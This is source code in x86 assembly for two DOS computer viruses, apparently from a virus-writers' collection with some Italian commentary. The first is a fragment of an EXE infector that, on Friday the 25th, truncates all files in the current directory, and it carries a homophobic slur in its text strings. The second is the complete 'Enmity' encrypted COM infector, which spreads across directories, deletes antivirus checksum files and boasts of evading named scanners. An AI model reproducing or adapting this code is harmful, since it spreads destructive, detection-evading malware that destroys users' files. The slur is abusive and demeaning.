MOV AX,3D00H ;OPEN FILE - READ
INT 21H ;
JC FIXUP ;ERROR - FIND ANOTHER FILE
MOV HANDLE,AX ;SAVE HANDLE
MOV AH,3FH ;READ FROM FILE
MOV BX,HANDLE ;MOVE
HANDLE TO BX
MOV CX,02H ;READ 2 BYTES
MOV DX,OFFSET IDBUFFER ;SAVE TO BUFFER
INT 21H ;
MOV AH,3EH ;CLOSE FILE FOR NOW
MOV BX,HANDLE ;LOAD BX WITH HANDLE
INT 21H ;
MOV BX, IDBUFFER ;FILL BX WITH ID STRING
CMP BX,02EBH ;INFECTED?
JNE DOIT ;SAME - FIND ANOTHER FILE
FIXUP:
MOV AH,1AH ;SET DTA ADDRESS
MOV DS,[TEMPSEG] ;RESTORE OLD SEGMENT
MOV DX,[TEMPOFS] ;RESTORE OLD OFFSET
INT 21H ;
JMP NEXTEXE
DOIT:
MOV DX, OFFSET FILEDATA + FILENAME
MOV AX,3D02H ;OPEN FILE READ/WRITE ACCESS
INT 21H ;
MOV HANDLE,AX ;SAVE HANDLE
CALL INFECTFILE
;MOV AX,3EH ;CLOSE FILE
;INT 21H
ROLLOUT:
MOV AX,5701H ;RESTORE ORIGINAL
MOV BX,HANDLE ;
MOV CX,ORIG_TIME ;TIME AND
MOV DX,ORIG_DATE ;DATE
INT 21H ;
MOV AX,4301H ;RESTORE ORIGINAL ATTRIBUTES
MOV CX,ORIG_ATTR
MOV DX,OFFSET FILEDATA + FILENAME
INT 21H
;MOV BX,HANDLE
;MOV AX,3EH ;CLOSE
FILE
;INT 21H
MOV AH,3BH ;TRY TO FIX THIS
MOV DX,OFFSET ROOTDIR ;FOR SPEED
INT 21H ;
MOV AH,3BH ;CHANGE DIRECTORY
MOV DX,OFFSET CURRENTDIR ;BACK TO ORIGINAL
INT 21H ;
MOV AH,2AH ;CHECK SYSTEM DATE
INT 21H ;
CMP CX,1991 ;IS IT AT LEAST 1991?
JB AUDI ;NO? DON'T
DO IT NOW
CMP DL,25 ;IS IT THE 25TH?
JB AUDI ;NOT YET? QUIT
CMP AL,5 ;IS fRIDAY?
JNE AUDI
;NO? QUIT
MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
MOV AH,4EH ;FIND FIRST FILE
MOV CX,7H ;
MOV DX,OFFSET FILESPEC2 ;OFFSET *.*
lOOPS:
INT 21H ;
JC AUDI ;ERROR? THEN QUIT
MOV AX,4301H ;FIND ALL NORMAL FILES
XOR CX,CX
;
INT 21H ;
MOV DX,OFFSET DIRDATA + FILENAME
MOV AH,3CH ;FUCK UP ALL FILES IN CURRENT DIR
INT 21H
;
JC AUDI ;ERROR? QUIT
MOV AH,4FH ;FIND NEXT FILE
JMP LOOPS ;
AUDI:
MOV AX,4C00H ;END PROGRAM
INT 21H ;
;tHE BELOW IS JUST TEXT TO PAD OUT THE VIRUS SIZE TO
808 BYTES. dON'T
;JUST CHANGE THE TEXT AND CLAIM THAT THIS IS YOUR
CREATION.
WORDS_
DB "sKISM rYTHEM sTACK
vIRUS-808. sMART kIDS iNTO sICK mETHODS",0
WORDS2
DB " dONT ALTER THIS CODE INTO YOUR OWN STRAIN,
FAGGIT. ",0
WORDS3
DB " hr/sss nycITY, THIS IS THE FIFTH OF MANY,
MANY MORE....",0
WORDS4
DB " yOU SISSYS.....",0
MAIN ENDP
CODE ENDS
END MAIN
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
contiene una curiosa routine di decrittazione.
Simpatico payload.
comment #
Enmity, by Lord Natas
Properties:
*COM infection (appending, nonresident)
*antiheuristic code
*no TBSCAN flags at time of release (second
generation)
*encryption (xor, random 16 bit key)
*works with microsoft COM files (the ones with the
stupid checksum)
*infects all files in current directory, then in the
upper directory,
then in \,
then in C:\WINDOWS\COMMAND.
*preserves date, time, attributes
*doesn't infect command.com, tb*.com files, or
misnamed EXE files
*removes scanner checksums
Scanning results:
FPROT(3): nothing
AVP: nothing
TBSCAN(WIN95): nothing
FINDVIRUS: nothing
DRWEB: nothing
Assemble with TASM.
MASM produces errors (at least, the version I have)
#
.model tiny
.code
jumps
org 100h
code_length equ end_virus-start
;----- fake host - a jump and infection mark
host:
db 0e9h,0,0,'66'
; definita come “unencrypted portion“...indovinate cos’è ?
start:
call get_offset
;----- get the delta offset
get_offset:
pop ax ;nice
and (somewhat) anti-heuristic
xchg cx,ax
sub cx,offset get_offset
xchg bp,cx
call decrypt
jmp short virus_start
mov ax,4c00h ;this
shuts-up findvirus
int 21h ; termina il programma
virus_start:
push 1a01h ;!heuristic
killer!
push 100h
lea si,[bp+oldbytes]
pop di
movsw ;move 5 bytes to 0100h
movsw
movsb
;----- move the DTA to the end
lea dx,[bp+dta] ;store
in dta
pop ax
dec ax ;!heuristic
killer!
int 21h
;----- save our current directory
mov ah,47h
xor dl,dl
lea si,[bp+old_dir] ;store in old_dir
int 21h
;----- find *.COM files
call killer
call findfirst
find_file:
int 21h
jc try_updir ;if
error jump
call infect ;else
infect
find_next:
mov ah,4fh ;find
next file
jmp short find_file
try_updir:
mov ah,3bh
lea dx,[bp+higher_dir] ;change dir up
int 21h
jc is_root
call killer
call findfirst
find_updir:
int 21h
jc is_root ;if
none, exit
call infect ;else
infect
mov ah,4fh ;find
next
jmp short find_updir
is_root:
mov ah,47h
xor dl,dl
lea si,[bp+dir_chk] ;store in dir_chk
int 21h
cmp byte ptr [bp+dir_chk],0
je try_win
try_root:
mov ah,3bh
lea dx,[bp+root] ;change
dir to root ('\')
int 21h
jc try_win
call killer
call findfirst
find_root:
int 21h
jc try_win ;if
none, exit
call infect ;else
infect
mov ah,4fh ;find
next
jmp short find_root
try_win:
mov ah,3bh
lea dx,[bp+win_command] ;change dir to command
int 21h
jc done_files
call killer
call findfirst
find_win:
int 21h
jc done_files ;if
none, exit
call infect ;else
infect
mov ah,4fh ;find next
jmp short find_win
done_files:
mov ah,3bh ;change
back to old_dir
lea dx,[bp+old_dir]
int 21h
mov ah,2ch ;get
time
int 21h
cmp dx,5 ;is
it time to activate?
ja fix_dta ;no?
return to host
begin:
mov ax,13 ;put
video in mode 13
int 10h
lea si,[bp+msg]
print_lp:
cld ;clear direction flag (left
lodsb ;to right)
or al,al ;check
for text end
jz fix_1
mov ah,0eh ;write
char
xor bh,bh ;page
0
mov bl,5 ;color
5 -> magenta
int 10h
jmp short print_lp
fix_1:
xor ax,ax ;wait
for key
int 16h
mov ax,03h ;restore
to textmode
int 10h
;----- reset DTA
fix_dta:
push 1a00h ;fix
dta
mov dx,80h
pop ax
int 21h
;----- clean up
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov bp,ax
mov si,0101h ;special
gift for TBAV
;----- restore control to cs:0100h
dec si
push si ;put
100h on stack so virus
ret ;jumps to host
;----- check name
infect:
cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
je return
cmp word ptr [bp+dta+1eh], "BT" ;TBdel
je return
mov cx,13d ;max
file length
lea si,[bp+dta+1eh] ;filename in dta
compare:
lodsb ;get byte
cmp al,"." ;is it "."?
jne compare ;no, compare
cmp byte ptr [si],"C" ;is is *.C?
jne return ;no,
return
;----- save attributes,time,date,size
mov cx,5 ;5
bytes
lea si,[bp+dta+15h] ;point to the dta
lea di,[bp+f_attr] ;move to f_attr
rep movsb
;----- remove attributes
mov ax,4301h
xor cx,cx ;no
attribute
lea dx,[bp+dta+1eh] ;point to name in dta
int 21h
;----- open file for read/write
push 3d04h ;!heuristic
killer!
lea dx,[bp+dta+1eh] ;filename in dta
pop cx
sub cx,2
xchg ax,cx
int 21h
xchg bx,ax ;put
handle in bx
push 3f00h ;!heuristic
killer!
;----- read 1st five bytes
mov cx,5
lea dx,[bp+oldbytes] ;store in oldbytes
pop ax
int 21h
;----- check for misnamed .EXE (fuck you microsoft) -
anti-heuristic
mov ax,word ptr [bp+oldbytes]
add ax,0101h
cmp word ptr ax,'[N' ;check first 2 bytes
je close_file
cmp word ptr ax,'N['
je close_file
;----- check for infection mark
cmp word ptr [bp+oldbytes+3],'66' ;look for 66
je close_file
;----- check size - if > 60000 then close
cmp word ptr [bp+dta+1ah], 60000
ja close_file
;----- seek to eof - 7
mov ax,4202h
mov cx,-1
mov dx,-7
int 21h
;----- (eof-7)+7=eof
mov cx,7
add ax,cx
;----- calculate jump
sub ax,3
mov word ptr [bp+jump_bytes+1],ax
;----- read 7 bytes
mov ah,3fh
mov cx,7
lea dx,[bp+buffer]
int 21h
;----- add virus size to checksum
add word ptr [bp+buffer+5],code_length
;----- ricava chiave e la salva in variabile key
push 4000h
mov ah,2ch ;
ricava ora
int 21h
mov word ptr [bp+key1],dx ; secondi + centesimi
;----- scrive “unencrypted portion” (il
loader del decryptor)
mov cx,virus_start-start
lea dx,[bp+start]
pop ax ; collegato al push 4000h precedente
int 21h ; scrive CX bytes partendo da DX
;----- cripta (stesso metodo del decryptor) e copia virus
push 4001h
mov cx,(key1-virus_start+1)/2 ; lunghezza codice (a word)
mov dx,word ptr [bp+key1] ; in DX la chiave
lea si,[bp+virus_start] ; sorgente: virus
start
lea di,[bp+crypt_buffr] ; destinazione:
buffer
xor_loop2:
lodsw ; carica word da sorgente
xor ax,dx ; cripta
stosw ; lo copia in destinazione
loop xor_loop2
;----- write encrypted shit (scrive il buffer criptato, vedi in
fondo al codice)
mov cx,key1-virus_start
lea dx,[bp+crypt_buffr]
pop ax ;!heuristic killer! (sic !) AH =
40h
dec ax
push 4000h
int 21h
;----- write more unencrypted shit
(scrive il decryptor “unencripted”)
mov cx,f_attr-key1 ; decryptor e altri bytes che devono
lea dx,[bp+key1] ;
rimanere non crittati
pop ax ; AH =
40h
int 21h
;----- seek to start of file
mov ax,4200h
xor cx,cx
cwd
push 4000h
int 21h
;----- write the jump
mov cx,5
lea dx,[bp+jump_bytes]
pop ax ;!heuristic
killer!
int 21h
close_file:
;----- restore date/time
push 5701h
mov cx,word ptr [bp+f_time]
mov dx,word ptr [bp+f_date]
pop ax ;!heuristic
killer!
int 21h
;----- close file
mov ah,3eh
int 21h
;----- restore attributes
mov ax,4302h
xor ch,ch
mov cl,byte ptr [bp+f_attr] ;old attributes
lea dx,[bp+dta+1eh] ;filename in dta
int 21h
return:
ret
;----- checksum deletion
killer:
lea dx,[bp+tbsum] ;pont
to name
call kill_bad_file ;kill it
lea dx,[bp+pcsum1]
call kill_bad_file
lea dx,[bp+pcsum2]
call kill_bad_file
lea dx,[bp+ivsum]
call kill_bad_file
ret
;----- delete bad files - input: DS:DX = to kill
kill_bad_file:
mov ax,4301h
xor cx,cx ;no
attribute
int 21h
mov ah,41h ;delete
int 21h
clc ;clear carry
ret
findfirst:
mov ah,4eh
mov cx,0007h ;all
attributes
lea dx,[bp+comspec] ;comspec = filemask
ret
;----- data area 1
msg db 'Enmity',13,10,0
db 'by Lord Natas',0
comspec db '*.*OM',0 ;file
search mask
win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
root db '\',0 ;another
target
higher_dir db '..',0 ;yet
another
tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
pcsum1 db 'CHKLIST.MS',0
pcsum2 db 'CHKLIST.CPS',0
ivsum db 'IVB.NTZ',0
oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
jump_bytes db 0e9h,0,0,'66' ;the jump to write
key1 dw ? ;encryption
key
;----- decryptor
decrypt:
mov cx,(key1-virus_start+1)/2 ; vedi sopra. E’ uguale.
mov dx,word ptr [bp+key1] ;
lea si,[bp+virus_start] ;
mov di,si ;
xor_loop:
lodsw ; carica word
in AX
jmp short fake2
fake1:
stosw ; AX ->
[DI]++
jmp short fake3
fake2:
xor ax,dx ;
XOR con chiave
jmp short fake1 ; e continua
fake3:
loop xor_loop ; ora puntatore a SI = [DI]++
ret
;----- data area 2 - stuff for microsoft's lame
checksums
buffer
db 5 dup (?) ;buffer = eof-2
size_checksum
db 2 dup (90h) ;checksum for microsoft coms
end_virus:
;----- this is not written to disk, thus saving much
space
f_attr db ? ;file
attribute
f_time dw ? ;file
time
f_date dw ? ;file
date
old_dir db 64 dup (?) ;old
directory name
dta db 48
dup (?) ;DTA storage
dir_chk db 64 dup (?) ;for
dir checking
;----- buffer temporaneo per crittazione
crypt_buffr db end_virus - virus_start
dup (?)
end host